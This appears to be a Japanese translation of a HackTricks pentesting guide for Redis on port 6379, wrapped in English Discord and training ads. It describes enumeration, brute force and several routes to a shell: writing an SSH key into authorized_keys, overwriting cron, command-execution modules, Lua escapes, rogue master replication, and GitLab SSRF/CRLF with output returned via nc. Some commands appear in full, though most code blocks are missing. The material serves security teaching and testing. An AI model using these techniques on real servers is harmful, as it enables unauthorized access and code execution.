6379 - Pentesting Redis
Last updated
Last updated
Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE) Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Join HackenProof Discord server to communicate with experienced hackers and bug bounty hunters!
Hacking Insights ハッキングのスリルと課題に深く掘り下げたコンテンツに参加してください。
Real-Time Hack News リアルタイムのニュースと洞察を通じて、急速に変化するハッキングの世界に遅れずについていきましょう。
Latest Announcements 新しいバグバウンティの開始や重要なプラットフォームの更新について最新情報を入手してください。
Join us on Discord and start collaborating with top hackers today!
From the docs: Redisはオープンソース(BSDライセンス)のインメモリデータ構造ストアであり、データベース、キャッシュ、メッセージブローカーとして使用されます。
デフォルトではRedisはプレーンテキストベースのプロトコルを使用しますが、ssl/tlsを実装することもできることを念頭に置いておく必要があります。ここでssl/tlsを使用してRedisを実行する方法を学んでください。
Default port: 6379
Redisインスタンスから情報を取得するのに役立ついくつかの自動化ツール:
Redisはテキストベースのプロトコルであり、ソケットにコマンドを送信するだけで、返された値は読み取ることができます。また、Redisはssl/tlsを使用して実行できることを覚えておいてください(ただし、これは非常に奇妙です)。
通常のRedisインスタンスでは、nc
を使用して接続するか、redis-cli
を使用することもできます:
最初のコマンドとして試すことができるのは info
です。これは、Redisインスタンスの情報を含む出力を返すか、次のようなものが返される可能性があります:
この最後のケースでは、有効な認証情報が必要であることを意味します。
デフォルトでは Redis は 認証情報なしで アクセスできます。しかし、パスワードのみ、またはユーザー名 + パスワードをサポートするように設定できます。
redis.conf ファイルのパラメータ requirepass
で パスワードを設定することが可能です。または、サービスが再起動するまで一時的に、接続して次のコマンドを実行することで設定できます: config set requirepass p@ss$12E45
。
また、redis.conf ファイル内のパラメータ masteruser
で ユーザー名を設定できます。
パスワードのみが設定されている場合、使用されるユーザー名は "default" です。 また、Redis がパスワードのみまたはユーザー名 + パスワードで設定されているかを外部から確認する方法はありません。
このようなケースでは、Redis と対話するために 有効な認証情報を見つける必要がありますので、ブルートフォースを試みることができます。 有効な認証情報が見つかった場合、接続を確立した後にセッションを認証する必要があります。
有効な資格情報には次のように応答されます: +OK
Redisサーバーが匿名接続を許可している場合、または有効な資格情報を取得した場合、次のコマンドを使用してサービスの列挙プロセスを開始できます:
インスタンスのRedisコマンドは、_redis.conf_ファイルで名前を変更したり削除したりできます。例えば、この行はFLUSHDBコマンドを削除します:
Redisサービスを安全に構成する方法についての詳細はこちら: https://www.digitalocean.com/community/tutorials/how-to-install-and-secure-redis-on-ubuntu-18-04
また、monitor
コマンドを使用して実行されたRedisコマンドをリアルタイムで監視したり、slowlog get 25
で25件の最も遅いクエリを取得することもできます。
さらに興味深いRedisコマンドに関する情報はここで見つけることができます: https://lzone.de/cheat-sheet/Redis
Redis内のデータベースは0から始まる番号です。コマンドinfo
の出力内の「Keyspace」チャンクで、使用されているかどうかを確認できます:
または、次のコマンドで全てのキー空間(データベース)を取得できます:
その例では、データベース 0 と 1 が使用されています。データベース 0 には 4 つのキーがあり、データベース 1 には 1 つのキーがあります。デフォルトでは、Redis はデータベース 0 を使用します。たとえば、データベース 1 をダンプするには、次のようにする必要があります:
GET <KEY>
を実行中に-WRONGTYPE Operation against a key holding the wrong kind of value
というエラーが発生した場合、それはキーが文字列や整数以外のものであり、表示するために特別なオペレーターが必要であるためです。
キーのタイプを知るには、TYPE
コマンドを使用します。以下はリストとハッシュキーの例です。
npmを使用してデータベースをダンプする redis-dump またはpython redis-utils
経験豊富なハッカーやバグバウンティハンターとコミュニケーションを取るためにHackenProof Discordサーバーに参加してください!
ハッキングの洞察 ハッキングのスリルと課題に深く掘り下げたコンテンツに参加してください
リアルタイムハックニュース リアルタイムのニュースと洞察を通じて、急速に進化するハッキングの世界に遅れずについていきましょう
最新のお知らせ 新しいバグバウンティの開始や重要なプラットフォームの更新について情報を得てください
今日、Discordで私たちに参加し、トップハッカーとコラボレーションを始めましょう!
redis-rogue-serverは、Redis(<=5.0.5)でインタラクティブシェルまたはリバースシェルを自動的に取得できます。
こちらの情報。Webサイトフォルダのパスを知っておく必要があります:
ウェブシェルアクセス例外が発生した場合、バックアップ後にデータベースを空にして再試行できますが、データベースを復元することを忘れないでください。
前のセクションと同様に、テンプレートエンジンによって解釈されるいくつかのHTMLテンプレートファイルを上書きしてシェルを取得することもできます。
例えば、この書き込みに従って、攻撃者がnunjucksテンプレートエンジンによって解釈されるHTMLにrevシェルを注入したことがわかります。
注意してください いくつかのテンプレートエンジンは テンプレートを メモリ にキャッシュしますので、上書きしても新しいものは 実行されません。この場合、開発者が自動リロードを有効にしたままにしているか、サービスに対してDoSを行う必要があります(そして自動的に再起動されることを期待します)。
例 こちらから
config get dir
の結果は、他の手動のエクスプロイトコマンドの後に変更される可能性があることに注意してください。Redisにログインした直後にこれを最初に実行することをお勧めします。config get dir
の出力には、redisユーザーのホーム(通常は /var/lib/redis または /home/redis/.ssh)が見つかり、これを知ることで、redisユーザーでssh経由でアクセスするために authenticated_users
ファイルを書き込む場所がわかります。他の有効なユーザーのホームを知っていて、書き込み権限がある場合は、それを悪用することもできます:
PCでssh公開鍵-秘密鍵ペアを生成します: ssh-keygen -t rsa
公開鍵をファイルに書き込みます: (echo -e "\n\n"; cat ~/id_rsa.pub; echo -e "\n\n") > spaced_key.txt
ファイルをredisにインポートします: cat spaced_key.txt | redis-cli -h 10.85.0.52 -x set ssh_key
Redisサーバーのauthorized_keysファイルに公開鍵を保存します:
最後に、秘密鍵を使ってredisサーバーにsshします: ssh -i id_rsa redis@10.85.0.52
この技術はここで自動化されています: https://github.com/Avinash-acid/Redis-Server-Exploit
The last example is for Ubuntu, for Centos, the above command should be: redis-cli -h 10.85.0.52 config set dir /var/spool/cron/
この方法はビットコインを得るためにも使用できます:yam
https://github.com/n0b0dyCN/RedisModules-ExecuteCommand の指示に従って、任意のコマンドを実行するためのredisモジュールをコンパイルできます。
次に、コンパイルされたモジュールをアップロードする方法が必要です。
MODULE LOAD /path/to/mymodule.so
でアップロードされたモジュールをランタイムでロードします。
MODULE LIST
でロードされたモジュールをリストして、正しくロードされたか確認します。
コマンドを実行します:
必要に応じてモジュールをアンロードします:MODULE UNLOAD mymodule
ここで、RedisがLuaコードをサンドボックス化して実行するためにコマンドEVALを使用していることがわかります。リンクされた投稿では、dofile関数を使用してそれを悪用する方法が示されていますが、どうやらこれはもはや不可能なようです。いずれにせよ、Luaサンドボックスをバイパスできれば、システム上で任意のコマンドを実行できます。また、同じ投稿からDoSを引き起こすためのオプションも確認できます。
Luaから脱出するためのいくつかのCVE:
マスターレディスのすべての操作は自動的にスレーブレディスに同期されます。これは、脆弱性のあるredisをスレーブredisと見なすことができ、私たちが制御するマスターレディスに接続されているため、私たち自身のredisにコマンドを入力できることを意味します。
もし平文リクエストをRedisに送信できるなら、Redisはリクエストを行ごとに読み取り、理解できない行にはエラーで応答するため、それと通信することができます。
したがって、ウェブサイトでSSRF vulnを見つけ、いくつかのヘッダー(おそらくCRLF vulnを使用して)やPOSTパラメータを制御できる場合、Redisに任意のコマンドを送信することができます。
Gitlab11.4.7では、SSRF脆弱性とCRLFが発見されました。SSRF脆弱性は、新しいプロジェクトを作成する際のURLからプロジェクトをインポートする機能にあり、[0:0:0:0:0:ffff:127.0.0.1]の形式で任意のIPにアクセスできるようになっていました(これにより127.0.0.1にアクセスします)。CRLF脆弱性は、URLに**%0D%0A**文字を追加することで悪用されました。
したがって、これらの脆弱性を悪用してRedisインスタンスと通信することが可能であり、gitlabのキューを管理し、そのキューを悪用してコード実行を取得することができました。Redisキュー悪用ペイロードは:
そして、URLエンコードリクエストを悪用したSSRFとCRLFを使用してwhoami
を実行し、出力をnc
経由で返すのは次の通りです:
For some reason (as for the author of https://liveoverflow.com/gitlab-11-4-7-remote-code-execution-real-world-ctf-2018/ where this info was took from) the exploitation worked with the git
scheme and not with the http
scheme.
Join HackenProof Discord server to communicate with experienced hackers and bug bounty hunters!
ハッキングの洞察 Engage with content that delves into the thrill and challenges of hacking
リアルタイムハックニュース Keep up-to-date with fast-paced hacking world through real-time news and insights
最新のお知らせ Stay informed with the newest bug bounties launching and crucial platform updates
Join us on Discord and start collaborating with top hackers today!
Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE) Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)